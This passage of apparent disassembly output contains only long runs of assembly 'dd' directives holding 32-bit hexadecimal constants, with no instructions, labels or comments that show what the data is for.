		dd 7401E6D2h, 35ACA400h, 9BA38CB7h, 672718ADh, 120620AAh
		dd 0C3E8916Eh, 0F82C0277h, 3F7716Ch, 5727C92Ah,	44F31B1Dh
		dd 0ABC76E80h, 0D17AE300h, 0EF6DDB83h, 713E005Ch, 0F94A322Dh
		dd 0F100B017h, 0F7F0114Dh, 0E8F53Ch, 0A382438Ah, 0FB54EE92h
		dd 34DC1500h, 53E4F77Ah, 0AE8800CAh, 5E5D0581h,	870098EEh
		dd 7DEA44Dh, 7AAA2072h,	601203C2h, 0C1359085h, 0B086CAF8h
		dd 55DE0A00h, 92023F9h,	0F8A712Fh, 0C9546B9Ah, 1917AF20h
		dd 6002A77h, 0AC59C27Ah, 0FE248772h, 8AEAB6h, 0C51793D1h
		dd 22E4FFFBh, 4EA71C00h, 41A3783Bh, 6986000Ch, 0CB2AE1B1h
		dd 1C003989h, 65AFF19Ch, 3C828Eh, 2B285D84h, 3137E3B5h
		dd 42641201h, 51CB370h,	401D60h, 0D193E576h, 74BA28DDh
		dd 5BB07500h, 1C387903h, 0BE0500E0h, 68762710h,	8A1E6124h
		dd 0CE40BC39h, 757AE2ABh, 0C14900EEh, 84C9E822h, 0F300BDA1h
		dd 1E83183Bh, 0FCA66A7h, 9209CC6Fh, 899EB6C0h, 68000E33h
		dd 183846FEh, 1EE68C3Fh, 4241AC8Bh, 0FCC99D17h,	8EE05C60h
		dd 45B29900h, 264EFBBDh, 0CE1A01A7h, 0D28CFC71h, 0CD90E327h
		dd 0FB0092D1h, 0FF428BE7h, 2977C9h, 0EAC49991h,	53BA444Bh
		dd 7EE8E201h, 2CAC763Fh, 2A391AE4h, 709CC8C4h, 0DBD21F22h
		dd 8C5DCBh, 0C90405E1h,	980025A4h, 0E0A80751h, 0C027C0D9h
		dd 49E5A730h, 4D00756Bh, 0AF3861CCh, 153A2FF7h,	0ACD524DDh
		dd 3CDF7E0Ch, 2E007A31h, 69A38B67h, 1886943Fh, 88D1F7A1h
		dd 263FCD5h, 7C263129h,	0B9008h, 0B0583DB1h, 747BA969h
		dd 3E4B9B0Fh, 1146C7A2h, 5B3C05E0h, 101A002Dh, 9A188D59h
		dd 0B7FC6040h, 2400AC7Ch, 7DF63E83h, 0CEE689Ch,	0E1F239FDh
		dd 660019C8h, 0CB6B4A7Ah, 38E87B2h, 0A56A13B3h,	0B8C8AB5Eh
		dd 8C00DFFAh, 2A0273Eh,	1A6B3D2h, 497118ADh, 0E0B52F3Bh
		dd 0B005FC7h, 0AAC5C896h, 744F05A5h, 7CB8ACh, 0B674A6B0h
		dd 56AD88E3h, 0AA34C500h
		dd 207029D2h, 7BBBA12Ch, 3560C0h, 4131A965h, 1585966Dh
		dd 0B4330A06h, 3693404h, 268F8727h, 11005028h, 8136F1F9h
		dd 3AF36A8Ah, 8E6907Bh,	2778A81Fh, 7203A400h, 9505379Bh
		dd 5239C033h, 0C449118Fh, 3971E771h, 0A98BE400h, 3A9A6333h
		dd 648500E5h, 0EA591E87h, 0D4F1FD15h, 5EB00246h, 1779401h
		dd 740E999Eh, 8E9D70h, 0E52B4F38h, 0A0C067BFh, 0B61A5B00h
		dd 0E3D0B114h, 0C93600CCh, 79C4209Eh, 700B1558h, 8FE05B02h
		dd 0FCBFC0C9h, 143B6A6h, 0F6258F2Bh, 0F85AB91Fh, 0BB3DC2E6h
		dd 45671E77h, 0F72BE440h, 3922E50Bh, 29079333h,	80D6136Bh
		dd 0B892D2C2h, 0F3FFC500h, 4FBA97D3h, 572E000Fh, 9CFCDDCDh
		dd 3500C832h, 6CF9DC8Bh, 3183B0h, 5D1B161Dh, 7BB3803Dh
		dd 3728441Dh, 2BA23586h, 698B0508h, 80812A25h, 0CD7603A7h
		dd 165F1C00h, 38566AF4h, 149500C2h, 21602420h, 82603E65h
		dd 72FFA338h, 6ED31C18h, 0C1B40048h, 0B11A90B6h, 988B430Eh
		dd 742CA067h, 467D9Fh, 219D12B9h, 6B83E869h, 0F6CB7017h
		dd 60A8800h, 3C1458AEh,	82009993h, 8B954245h, 6B071D4Dh
		dd 0B1802391h, 0CA675CC1h, 16BFECh, 3B933A8Ah, 803C1405h
		dd 80B7C33Fh, 0F2BE4A3Fh, 0C867A51h, 21C53BAEh,	0D8006F20h
		dd 33B6403Dh, 0AF6BDh, 6C6AB5C6h, 995412E0h, 8A7DD818h
		dd 50DE3EB8h, 3EC9034h,	0CB2966D1h, 0A0A081C3h,	0A008A8Fh
		dd 0D9D50D3Ch, 61FF2A6h, 5B4B279Fh, 812CF857h, 7C00ED82h
		dd 33484C7Fh, 0D0660034h, 0E9A9D7AEh, 0E500F9C9h, 95BAB85Ah
		dd 1DA19E97h, 0C068461Fh, 0FF63652h, 787F615Eh,	32430C09h
		dd 823D000Ah, 8D3E0Bh, 0F26B60D8h, 0AC281329h, 0A5B9D628h
		dd 0A21708C0h, 4B6512h,	939AE57Ah, 0BCFA9BDDh, 62B46C00h
		dd 44498A64h, 0D8A90007h, 0D311B7A6h, 0C4001478h, 90ED86AEh
		dd 630118h, 560A1BDh, 0FB0F9BF2h, 0F7E38C06h, 9806CBBh
		dd 0B2DFA90Bh, 0E4708E8Ch, 4B52DC00h, 7A2F6CB6h, 9843003Ch
		dd 513B940Fh, 970112F2h, 58E2155h, 99F816D3h, 0B650111h
		dd 62F5502Eh, 1C2FF001h, 0B121A600h, 116F8F5Fh,	27C74h
		dd 30836852h, 19F3644Eh, 89F2283Bh, 0AB162Bh, 619F2A2Bh
		dd 515C00A9h, 9235FFD1h, 0A3004D29h, 0C99C2558h, 140E1C8h
		dd 335E667Ch, 0D02A7554h, 0DF3B7D45h, 0AA2E007Eh, 47A4BFE9h
		dd 4DD93D02h, 0A005F3Fh, 0BE63321Fh, 0C500773Ah, 111721AFh
		dd 0E725F5h, 4E3653F2h,	0B93B90CFh, 361DC72Eh, 0E829BE05h
		dd 0BDF4C3h, 0B4DBE221h, 5CDC8852h, 0D5146A00h,	0A9428141h
		dd 960600C6h, 0BA19F47Eh, 0A007C18h, 0CF43FDDFh, 922F0h
		dd 0CD9D1462h, 0AB3C74DCh, 216A09CCh, 0B55A0029h, 0BD5BD9C9h
		dd 0BEB81205h, 80D71802h, 0C0C5BA81h, 2B3D797Fh, 505C6ACFh
		dd 6F00AE03h, 8B40F521h, 28F004h, 59606B7Eh, 4AC29CF7h
		dd 91177B30h, 7E6C6E9h,	0F4EA4404h, 0ABCB7057h,	0C80D177Dh
		dd 18029BB1h, 91C37EE5h, 38801CEFh, 3FB0C0D0h, 3A50E9E3h
		dd 2A00038Bh, 0C48D8E70h, 1F610187h, 337CE73h, 0D87C11CFh
		dd 56F9480Ch, 1678C8h, 0DB8A0D78h, 9F5FE093h, 0F781CF00h
		dd 6E38BB4Ch, 2A9998B1h, 3904E17h, 2F3A889Bh, 35D8B5DBh
		dd 0A3023C4Dh, 69879271h, 90507Dh, 8338D420h, 0B5305E18h
		dd 0E02C503h, 0C8F67460h, 1C6C085Ah, 405F6FB7h,	0F0281275h
		dd 0E01C3F10h, 1C0AC66h, 89515440h, 7F64003Ah, 28EB732Dh
		dd 0A33BFACFh, 843E808Ch, 99C2BAFDh, 0AC3D0E6Dh, 35413159h
		dd 0D802BCDDh, 0E2003877h, 1DDE4054h, 29EBDCFh,	8F0FABFFh
		dd 20805C93h, 634877Fh,	7A254C00h, 9B0BD497h, 3B6A077h
		dd 0A66100B1h, 125D95E0h, 4300301Dh, 2C4EBDFAh,	0F76DCB5h
		dd 6B5B1B66h, 865C7h, 9656E64Bh, 0BAFE2600h, 0ACE29C10h
		dd 89151F20h, 24C7834Ah, 0E391DF14h, 0CA60EA7Ah, 0ED007CFFh
		dd 2C4CD178h, 0C395CCh,	0FEC85D91h, 27BA2EA2h, 0CDF2540Ah
		dd 0AD008C25h, 48D4AEA1h, 0CC100E4h, 0FB505514h, 9F0006A3h
		dd 3B74F0F8h, 0FB27BD4Ah, 1ACFC8h, 64E873BCh, 0E303CA5Ch
		dd 98FDA303h, 0B94E2C4Fh, 0C8C49EEAh, 82F80059h, 894B10BCh
		dd 9303BE62h, 1B91B94Ch, 0BA90B05Fh, 979601BBh,	2AF85668h
		dd 0E13AF08Ch, 0FB628100h, 0E32FBADEh, 0C7EB00D7h, 0F9BE43AEh
		dd 3800F328h, 0D2BE781h, 0F1776EDh, 0DED90C54h,	99A0BB0Fh
		dd 9FFB6F0h, 77008A76h,	0C43C8FFCh, 7140DD8h, 617E93F3h
		dd 0A572109Ah, 0BE0024F8h, 3409D1CDh, 1CE1381Dh, 0C006BC0Dh
		dd 0DCF8B1ECh, 0C1007770h, 0B6D234F7h, 0C1C478DDh, 87309018h
		dd 0C137F108h, 0BC44484Ah, 0BA1D9504h, 3B32C5A7h, 656C9121h
		dd 1D6EA0F3h, 3C47004Bh, 3320A0B7h, 0FA008721h,	0F393BAE5h
		dd 8FDAAh, 0A4F229Bh, 0CF442460h, 3214300h, 0E74C2F90h
		dd 9F97075Bh, 10C42CA8h, 721FDB96h, 2EB012FEh, 46500901h
		dd 0F2E42F0Ch, 7D97BE4h, 40F31339h, 2B6193E0h, 9B3E4DF8h
		dd 6BCB6D00h, 74B080BDh, 0ADE9002Ch, 4207B90h, 4D9053F8h
		dd 570062FEh, 1BE81270h, 9C350Fh, 0F74B7D7Fh, 3F71C5A2h
		dd 588BB000h, 15BED309h, 0DEAD0928h, 69813852h,	80B8605Eh
		dd 86F1FE10h, 0EA20092Fh, 1BF3003Eh, 0E465723h,	92742D17h
		dd 0FE389000h, 5C9193ACh, 14A70131h, 27246A2Bh,	84307003h
		dd 1C387600h, 0E0A2C12Ch, 8968001Eh, 398ACFA0h,	4A009DECh
		dd 36C99056h, 7CCE22h, 0FFD9E9FDh, 0C482DF5h, 0B5CBFB00h
		dd 0A21467D1h, 0BF92C69Ch, 24A0903Bh, 9B00F5A7h, 0DF25E665h
		dd 30E7AB23h, 67984D96h, 0C0343FBh, 897C8E64h, 0BFD800F3h
		dd 0A034B119h, 6C1FE56Dh, 0F00DFDAh, 6F5B9D0Ah,	47163C89h
		dd 1A18C50h, 74F84170h,	5072DFE7h, 0B223732Ch, 25613B08h
		dd 0E80142F5h, 10E6C822h, 6E40D555h, 0A64F22CBh, 97F3D901h
		dd 5026DFE5h, 9314B08h,	5801B079h, 0D1019908h, 0A4E56AB3h
		dd 8D10DEABh, 5F816D1Dh, 0C631D10Ch, 4C9A58BEh,	0AB077B08h
		dd 0DD625AD5h, 0EB7543D8h, 0E7E0B110h, 44087184h, 61204A83h
		dd 26C29254h, 80FD8EEEh, 53954FFCh, 650C0F2h, 70F88FA1h
		dd 0C202C600h, 0F4A5878h, 0DFF1008Eh, 8F1C7FB1h, 8638D3FEh
		dd 69E8806Dh, 2D27F555h, 0F22930ACh, 7058ABD8h,	0C290DD00h
		dd 95E5C134h, 0F71008Eh, 0E25BF3B0h, 397B5A9Bh,	0B15E0800h
		dd 47B9FC78h, 250D13A2h, 4B3E0977h, 0C70A2401h,	93E260C3h
		dd 0B122FA18h, 0FA319A9h, 0CC983351h, 56E74180h, 7B00CAD5h
		dd 8B76EEB9h, 0AE1D983h, 0F01A112Dh, 0BF7D00B8h, 19DD9CD3h
		dd 0D534B406h, 0AB0A171h, 8818157Fh, 87541F88h,	821F76F1h
		dd 0B4A0DC07h, 0DA8AEA2Dh, 0ECE2CD0Eh, 698620BCh, 0C26FA4h
		dd 77084538h, 0EA3942F8h, 0A6B55201h, 957DF676h, 0E196080h
		dd 576BB081h, 0D650C700h, 9140A318h, 0EF5C01ADh, 0F65E60DAh
		dd 3FA0513Ah, 0D3BEC3Ch, 4E9558h, 71D4CBF7h, 124A4Bh, 182D5622h
		dd 33A8629Fh, 64013C90h, 0C8B482E3h, 35E84FEBh,	0D65E0103h
		dd 0CFDABF4Eh, 0D6003B86h, 5302DEACh, 4C095896h, 0A70F0070h
		dd 95D1414Ch, 9900E6B8h, 0EC6328C7h, 0A9B06122h, 82ECE3B8h
		dd 0CDCF07D6h, 0A02C305Fh, 0DEFF94B5h, 39055100h, 464ADD67h
		dd 74871DBh, 446E12F9h,	1578703Eh, 203847BCh, 7D42006Dh
		dd 2FC14DD3h, 9995001Ah, 0E3DE8571h, 0ED00FC89h, 0EF4C1FA0h
		dd 0E7C8B6h
		dd 0D59A3F02h, 0A224BFDEh, 5D079E75h, 560C4A20h, 9674E7A0h
		dd 0B8A00002h, 9CD8FD0Fh, 0DC7AA63Dh, 204AE500h, 0B5FFD6B9h
		dd 1E48008Bh, 43F78ACEh, 1B1C154Eh, 26805BACh, 24EF6B3Ch
		dd 2A307E1h, 30EE5619h,	0FAC16432h, 14650100h, 78FC09F8h
		dd 2DCCED7Fh, 977B0056h, 15B058FDh, 540033B2h, 0A1E9BDAFh
		dd 0D7E4EAh, 9F11FF77h,	624901F0h, 81A72600h, 0AFDBB47Ch
		dd 78CA000Ah, 36B7C0BFh, 8E00EF1Ch, 0E446DC51h,	66408Dh
		dd 7F31D4D8h, 1B739671h, 0EE0E807h, 69612C46h, 8AF87276h
		dd 988400B8h, 4E3ADF47h, 30079CD6h, 675C5BFEh, 3BA5C830h
		dd 0F48801CBh, 0BF8AC9B5h, 0B028906Eh, 10E3FA80h, 0A7003B67h
		dd 0C9B7B9DFh, 80501C65h, 67883544h, 0A406045Ah, 42D0933Bh
		dd 24F503Eh, 0D52149F8h, 6F018FA8h, 3798CBBh, 44AC5180h
		dd 12E74C1Fh, 643C8F1Bh, 0C00E032Bh, 0FD761891h, 0C2C637A1h
		dd 180D4851h, 231D1402h, 791153ECh, 7900C263h, 0DC93E1DFh
		dd 0EA804A88h, 966000Eh, 0F0E36CD0h, 100EAD4Ch,	219045h
		dd 93B2FEB5h, 0AF371E06h, 175880F9h, 0A377FFC4h, 4C014779h
		dd 6B688DFAh, 0FEF44808h, 2432007Dh, 69FFFB61h,	16EC5688h
		dd 7BFD2F04h, 0B809474h, 0F00E32h, 4BE86CB0h, 0E3558050h
		dd 136DA200h, 1A14B601h, 3AE4F48Bh, 0FC8E1C53h,	6EA7D685h
		dd 6438506Ah, 0F10612CBh, 0FF11709Ah, 0C4413C10h, 29D03101h
		dd 0E4521017h, 531CB936h, 0C8C0D2A5h, 7366B66Ch, 0A00B0018h
		dd 2EC50CEEh, 0A107DB78h, 98E8D999h, 0A00FF093h, 1DD1DAAh
		dd 416E549Ah, 807DCEC3h, 2AC4F48h, 1FE04C83h, 1E172D61h
		dd 86F3C030h, 2C6C98DDh, 3F003DEEh, 22670D12h, 8AD8E4h
		dd 0C078EEE1h, 0F089A9C9h, 2EA38B1Ch, 8AA0AC0h,	0A18595h
		dd 0B6D1177Fh, 0ECF6DB53h, 0D800200h, 1F2EDD60h, 0FB5A04D0h
		dd 8051D22Ah, 87CE29D5h, 1A00E6B0h, 48DE2B2h, 0AA7D1h
		dd 0EA60915Fh, 56ABCACDh, 11206A00h, 2ECFAC29h,	9AD8037Ch
		dd 683BBE26h, 0E8289EE1h, 380099AAh, 5C0E50B9h,	6C3F46h
		dd 0E0E9D5A1h, 4FCFB8FCh, 9200AAFAh, 650705BAh,	0F81AE4F3h
		dd 85E30040h, 6017836Dh, 79012839h, 305B6B2h, 11E472CBh
		dd 0B4AA3A91h, 38827700h, 8E2524B5h, 6B46A100h,	23B2E059h
		dd 0B10E0081h, 9197DCE8h, 19022066h, 280A21D9h,	14A7E08Fh
		dd 2661008Ah, 7E446324h, 231FA69Bh, 3B8055E3h, 670183A2h
		dd 0E57C001Dh, 0B07BEBE6h, 233E1C97h, 0ADE8FBBFh, 4DF4B800h
		dd 453B2495h, 0F7C2285Eh, 0DD4F0EBAh, 34C0728Ah, 0FB8B7E22h
		dd 36EC6903h, 90D21F70h, 74E84F4h, 59D186FAh, 2141007Ah
		dd 0A6046988h, 168F9D2h, 0AA0C8Ch, 8B5F27F0h, 0DBCC2BA4h
		dd 6B29BC00h, 4A355693h, 0A7120033h, 591CCF77h,	0A3030A9Fh
		dd 346676F4h, 6126C13Ah, 0E9D8FCh, 1C99C739h, 36073331h
		dd 3CAC8201h, 89B2608Bh, 1F4F420h, 7D0B16B4h, 0E2483793h
		dd 0A279D440h, 0C6124Ch, 193D1ABBh, 0F046BFF8h,	0B7560124h
		dd 8134CB9h, 5A0C207Fh,	75A15202h, 402F6CDDh, 0DB9608h
		dd 5E744E9Bh, 3223B5E7h, 823CF5E4h, 414A80F9h, 6698CE40h
		dd 3854007Ch, 0D86879BDh, 0CD1228E8h, 0C417822h, 3827C6E7h
		dd 7DB7ECh, 4E401305h, 0C91C8751h, 739A9503h, 0B05F6DA5h
		dd 0E65828h, 6BAA0FFh, 7B226A5Ch, 80262FF8h, 9D0E1AB1h
		dd 77ECA0CFh, 0BD0D59h,	0A66A1D6Eh, 0F296FD72h,	89B61C00h
		dd 0B33A03F7h, 71F819h,	0D776E4Fh, 0E68890C6h, 37A5EA00h
		dd 73149ADBh, 8BF600DDh, 92162E20h, 542F676Ah, 3A17D889h
		dd 0F38391B1h, 608A1C62h, 0C92AFCA8h, 0A346D500h, 2D4DDAD7h
		dd 985B07BAh, 0A047F029h, 8ECB3075h, 0CFAD6900h, 4555DDE6h
		dd 0B3EA0062h, 47129C7Dh, 88F836A0h, 0CB1CFE00h, 3BFCA15Bh
		dd 0CEB60064h, 3620B4B1h, 0E472DE53h, 170193F4h, 0C3EE6C84h
		dd 873047F4h, 0EDEB006Dh, 665D87E8h, 0A300F016h, 0CCC0C7D6h
		dd 8C7525h, 0C33EBA59h,	0EF278713h, 2B3B3900h, 8501B26Dh
		dd 81E40F90h, 31EE266Bh, 2763A683h, 0A8AD83B8h,	32502407h
		dd 0B1B0DFC0h, 147F95Ah, 21777268h, 60ABDADBh, 5E000E56h
		dd 1CED5662h, 3C2C9717h, 0EF802B77h, 7012F815h,	353D7C08h
		dd 9BA28011h, 671BF7DCh, 81171C21h, 506CB274h, 389EAC60h
		dd 0A8DDDE32h, 3D0CC0B3h, 16CF0043h, 0B913C6D8h, 42003BBAh
		dd 8188FF2Dh, 1171A5Eh,	6C7F6D5Ah, 0FA168DD6h, 63CA2AC0h
		dd 0A1D0272h, 218049DBh, 9A5EB6CCh, 2FB20029h, 85EB2ED9h
		dd 30001AFCh, 200FF394h, 2C14FE04h, 11866D7h, 1B5D459Ch
		dd 3AC8D40Dh, 0BB580507h, 42E04334h, 33188E9h, 203011C1h
		dd 0D1F83A0Ah, 0E600BE36h, 175B3908h, 0CA8341h,	0F8BD328h
		dd 0AB77CCBCh, 7A3B2000h, 0F090D6FFh, 0D7E600CDh, 0EF379B19h
		dd 0A5056D9Dh, 0FA6FACE4h, 6BBD5FC0h, 0A099001Eh, 3DE6EF26h
		dd 0D4F51BEDh, 5E0002C6h, 0A038947h, 0A0CD78A0h, 0ECE5A4h
		dd 1452AF40h, 1F5DBBBFh, 12AE3850h, 25728B00h, 0A2F27364h
		dd 86B40045h, 68AEF6C4h, 26001EE8h, 604DA93Bh, 1F5B0CC8h
		dd 0C09DA128h, 88D8F623h, 780E63BDh, 0E10B7D12h, 2B8EE430h
		dd 0FCBFD8h, 0BA5FAED8h, 0FFFD0347h, 4D85B700h,	322624A7h
		dd 6D2000D4h, 0A9FEE841h, 1800439Dh, 17850C7Dh,	389FF24Fh
		dd 0ED09EE58h, 3A00EF47h, 80B7578Fh, 0E6DD2B00h, 4B67BE97h
		dd 7A6400ADh, 0A27C0C72h, 550053E7h, 0A4E17570h, 28E81A9Fh
		dd 84CC45h, 0D8193141h,	3637FD4Eh, 8BC47C00h, 8EDD9006h
		dd 7F5F2E1Fh, 59C6007Bh, 2F63B3FFh, 2AB51301h, 0D09CEBE3h
		dd 21DCA0C6h, 2822AEC5h, 843A5Eh, 0B2472A5Ch, 41D0AAA0h
		dd 0EA09DC98h, 202F9DC4h, 7C02A15Ch, 0F1220FEEh, 3B001662h
		dd 6EC77277h, 60EF3000h, 4DB33C6h, 0F715012Fh, 825CA57Eh
		dd 52F451B5h, 2EA840E3h, 8C3A64A7h, 0E4608132h,	9911BD8Bh
		dd 382029C5h, 21273E9h,	6DC2E3C3h, 3C401C2Ch, 9B00F730h
		dd 0B12A0350h, 2C0B4D9h, 0BF9672DEh, 9EC26310h,	8B279760h
		dd 80DC709h, 5BC00540h,	36B1008Eh, 94570C11h, 0DAE94004h
		dd 5600B4A8h, 81290233h, 0B0A2A3h, 0A08FEDB7h, 0BA7C83D2h
		dd 0D754790Eh, 648B2090h, 251076Fh, 0B6128038h,	31E24999h
		dd 0BC002362h, 0A1312AC4h, 880A6200h, 0F158EAD8h, 49F40F60h
		dd 4FC09544h, 5E651630h, 183A1924h, 0B97BC500h,	5F28AFh
		dd 967E8F3Bh, 0E40EAB29h, 311E0998h, 3C408342h,	1759AA94h
		dd 0F3D7008Bh, 0E3742553h, 0D3005241h, 941866E9h, 99FC57h
		dd 8F8C97D9h, 151D11Ch,	37404C03h, 0A0B8A382h, 236E6C5h
		dd 69B32677h, 2A600368h, 484C1BD2h, 0C28200A0h,	70EBD3E8h
		dd 0B3230507h, 888E1274h, 8100F8A0h, 34373E95h,	0F2A9B460h
		dd 0B94100AEh, 25988ADCh, 0D003A2Bh, 10FB1D2Ah,	0A59276Dh
		dd 60728191h, 8F2989C0h, 805A895Dh, 798EA8ACh, 0E1E6003Eh
		dd 97F11835h, 8800A9E4h, 4C14C2D5h, 2FCDD6h, 8C733BC1h
		dd 0E3014382h, 0F9A2FB04h, 7090D01Dh, 0ED3C04h,	293A57D7h
		dd 31BBD1Ah, 0A42CC202h, 0E04D22F6h, 4D524453h,	9B00A43Bh
		dd 55CC82D9h, 89000CA2h, 5FA48358h, 77764CD6h, 0E1794Eh
		dd 96150FBBh, 169C55A5h, 0FAF3700Eh, 0FE2E5Bh, 31DA17A0h
		dd 0FB8E00E1h, 947C714Dh, 5F00A854h, 0B5D0278Fh, 3D84C3CAh
		dd 6407EAAFh, 907E16E6h
		dd 0AB25456Fh, 0DEAD6E00h, 0BDD49505h, 2E810024h, 3E94708Fh
		dd 6700C67Eh, 2699EA8Eh, 0C7E2F8h, 3A7A05A0h, 0E4BB9A44h
		dd 0F5531B00h, 31673B8Bh, 0FEE0FCBh, 0B9C08197h, 212DA61Ah
		dd 63A4F79h, 0A14B80F1h, 6D18F51Eh, 0FCF004Ch, 0FF8FB023h
		dd 52E089CEh, 0DC1A59h,	0E890B526h, 48B169C0h, 0CE3890A0h
		dd 9344004Bh, 0EA9E394h, 0AC084F3Bh, 76009046h,	10A4CEDCh
		dd 0C2EF000Fh, 950960ADh, 0F70EB7D7h, 405B27EDh, 0BAC91406h
		dd 1094A0h, 8454C5BCh, 0D003F20h, 51507DFEh, 9E0B0Ah, 144637CCh
		dd 44389A45h, 0FAFD4800h, 6B8D1E85h, 0E2516B1h,	0BA881C99h
		dd 62AE7180h, 0F7A892F3h, 0EC9DD600h, 2E95F658h, 78207CBh
		dd 10DCBDDAh, 791320D0h, 0C9B01900h, 887D2CB4h,	0AD6F25FBh
		dd 0A5F4B0A0h, 0C0FF6DC8h, 0D41E43D6h, 2D005F5Ch, 0D08C7063h
		dd 697100CFh, 0C53149B3h, 0EB00AC07h, 62CB482Eh, 26B4DD3Fh
		dd 43D4BFBBh, 18886DF4h, 340FB8A9h, 60A69B04h, 0CD76673Ah
		dd 6B83005Fh, 0E306CF49h, 971CC254h, 915EB366h,	6D697080h
		dd 0F88D3BDCh, 0E044968Bh, 102B5DA0h, 0B100C1E0h, 8D0552B6h
		dd 1E493B98h, 4399B095h, 678753ECh, 2C416E82h, 40FE30CCh
		dd 36D41A00h, 0D0950184h, 6D3202D5h, 160E910Bh,	0E298FCE3h
		dd 3B00B8DAh, 0C4CE50FDh, 9EAA44h, 6C99D921h, 5B5E9146h
		dd 0AD12B300h, 0CE84B1EEh, 0F50D00F3h, 29118778h, 0C7005868h
		dd 6A6939F6h, 98A8BEB4h, 6316005Dh, 0BA5B7808h,	0A90351Eh
		dd 0EDAF6D1Ch, 0D6809B9Dh, 0F26016D9h, 43AB24BAh, 5D827700h
		dd 208D34CEh, 0DC524FFh, 9C2249h, 7EF910D3h, 1F1EADEh
		dd 7BE9D036h, 6688E765h, 52F404C4h, 908026E4h, 174066h
		dd 3BA6132Dh, 7A6296BCh, 2E4C284Ch, 4600B521h, 88B5467h
		dd 6B950015h, 0DC9650D1h, 0C0009C7Ah, 0CC847994h, 885F69h
		dd 0C95BA465h, 0E03FB359h, 24864000h, 67C464B0h, 94530E7Eh
		dd 0A4A3FD39h, 30AF7804h, 5D8480AEh, 6B829B00h,	0C921C75Bh
		dd 3B3176Dh, 3B2E0366h,	75A0A306h, 0E2135720h, 7039DB0h
		dd 2CD6B3h, 0B737C320h,	4A38D960h, 0A4F14516h, 27752C0Eh
		dd 0E6C2A0C0h, 769360D0h, 0B99800DDh, 0D3ED9FA5h, 0EBFA1034h
		dd 7007370h, 93D813A9h,	4CC208h, 4319788h, 5920B8FBh, 0A90323E0h
		dd 86320310h, 0D649B808h, 0C40B3827h, 82BAACh, 0F7797BA2h
		dd 3C012819h, 674D2A69h, 2FD8979Fh, 755B079Eh, 0E07F3124h
		dd 0C4269386h, 0D70E900Fh, 73594062h, 0C3830Fh,	7633CFC8h
		dd 385F2629h, 0C07B7814h, 470070EAh, 9B8534Eh, 586068h
		dd 4D2483DAh, 0B946D88Bh, 6074C00h, 2A3EEA92h, 0BECC00D7h
		dd 55CDFE12h, 0F71FA97Bh, 0C640CBAEh, 0D8C390DAh, 0BA110289h
		dd 69D7D9B5h, 84410C40h, 80301C4Ch, 521EC82Bh, 380D7A4Bh
		dd 780E946h, 60892037h,	9200E6EFh, 0A0EA9F58h, 74E7525h
		dd 0A2DB128Ch, 70DD10C8h, 0F800E4A4h, 6ABBBE78h, 5A4AEFh
		dd 637EA78Ah, 307DCFF4h, 0CBCA7200h, 9F10A657h,	30F4BA82h
		dd 5C507B0Ah, 931E69B8h, 0A45EEEB7h, 89A68581h,	34205EABh
		dd 38702617h, 30FC1218h, 0E9CE0178h, 0B7F80C00h, 5EC83F77h
		dd 3EFC00FEh, 0DCA77902h, 0B90038C7h, 0BEBFA151h, 1205DE8h
		dd 939E8BADh, 0F0F5CFD1h, 70001B58h, 9CFD060Bh,	4A51161Ch
		dd 0E8FCE1h, 0DB87C32Ch, 0F89E6AFh, 742FAB1Dh, 33022AA0h
		dd 1BEEFAECh, 165C3100h, 8FCA44Ch, 1AA79BFh, 0FA943B22h
		dd 707EB47Fh, 0CA3C0C98h, 0E71E80DFh, 2446E48Dh, 5F740367h
		dd 0F9A6696Fh, 1D707DD0h, 0AE418707h, 3220DA14h, 34C2D47h
		dd 0E58E80CBh, 2D0E936h, 3F002265h, 0CCF3FF8Dh,	526728h
		dd 0B57A4D2Ch, 0C8DEDA4Fh, 0ED002971h, 0E6F52AA4h, 1E49944Eh
		dd 408C8B80h, 0E8B226B6h, 9101DA35h, 0EE6ADBEAh, 8820EC60h
		dd 70320EF1h, 5D00497Bh, 88C53397h, 78070D00h, 0B218E516h
		dd 0F79F007Eh, 0A8B3588Eh, 0C200F92Ah, 43B6AB4Dh, 0AE9C15h
		dd 0D4E6C6F3h, 67A4A0D2h, 0CC2DF800h, 7A5F6C95h, 0B645009Eh
		dd 75B002E9h, 0F10315A2h, 4EF22C94h, 4F72F8C4h,	0A04000E6h
		dd 0A71D74Ch, 0C003088h, 2A2F5D5Ah, 74722Bh, 7FC6DEBCh
		dd 60249E10h, 0F1F34100h, 4E20E328h, 21A400EFh,	0FDB094A8h
		dd 0E3981185h, 0B266F500h, 7847EDF8h, 798BA0B1h, 3BBE0062h
		dd 6E128571h, 34073FEEh, 0ECAAB65Fh, 0DD0CFCC1h, 0F90A9F0h
		dd 538A1257h, 58C363A0h, 103BDC0h, 5696525Dh, 0DF27981Ch
		dd 8CD6500Eh, 2BD80B85h, 0A980082Dh, 0F50480BEh, 0DC02A000h
		dd 0EE658E68h, 989B1D13h, 0C38C9FACh, 0D9BD1264h, 0EC4E660Ah
		dd 542CB5A6h, 0F022F318h, 950300E2h, 0BAEF16C0h, 0AAFC60FBh
		dd 378D48h, 0B3D3D7FFh,	4A5269h, 0F05172Bh, 2E04DA94h
		dd 276E2800h, 53F1B58Ch, 0FE8000B6h, 0CB2F8E69h, 1600BCA1h
		dd 48FB4DA2h, 0B14586Fh, 74F0547Eh, 11CF4280h, 0DC00DEA9h
		dd 259CBB4Ch, 5A956Fh, 63BD2009h, 5FC6FB4Eh, 2416600h
		dd 0CAC97C06h, 8D76B7h,	9188520Dh, 554F9849h, 0A6356000h
		dd 22AB7D7Bh, 0E5342503h, 0DC59CF61h, 0B6013ED0h, 15F708A7h
		dd 28F8DF31h, 6E2B3BAFh, 88EC2A03h, 0ADD0EBE5h,	0E200218Fh
		dd 0DBAEF33Fh, 16C0C73h, 0A109FBEFh, 60329161h,	420311E9h
		dd 0C234295Eh, 49AB9810h, 129C2463h, 287B00F1h,	9201DA02h
		dd 0AA550F00h, 0A5524582h, 49D778D4h, 2400182Ch, 0EA888EA8h
		dd 0B00053FBh, 0F00A04DEh, 1EC64A73h, 0C19EB4CFh, 7EA27D11h
		dd 0A887E8A0h, 0F94B6E00h, 3582F508h, 6CEF1D85h, 1CCE0039h
		dd 72C99088h, 3300A57Fh, 5E467797h, 14476E8Dh, 0F851D5D1h
		dd 9CA51903h, 0C29816B2h, 527B110Dh, 273CA8F0h,	0FD8C3C75h
		dd 70EBE900h, 0AC99B9BDh, 3B637504h, 0F99C024Dh, 0CF294152h
		dd 41086AABh, 0EC471AE3h, 3E00E5FFh, 0F3C8A186h, 994216h
		dd 4597D12Ah, 246CC384h, 0EB3BE500h, 0C49DF952h, 592700FEh
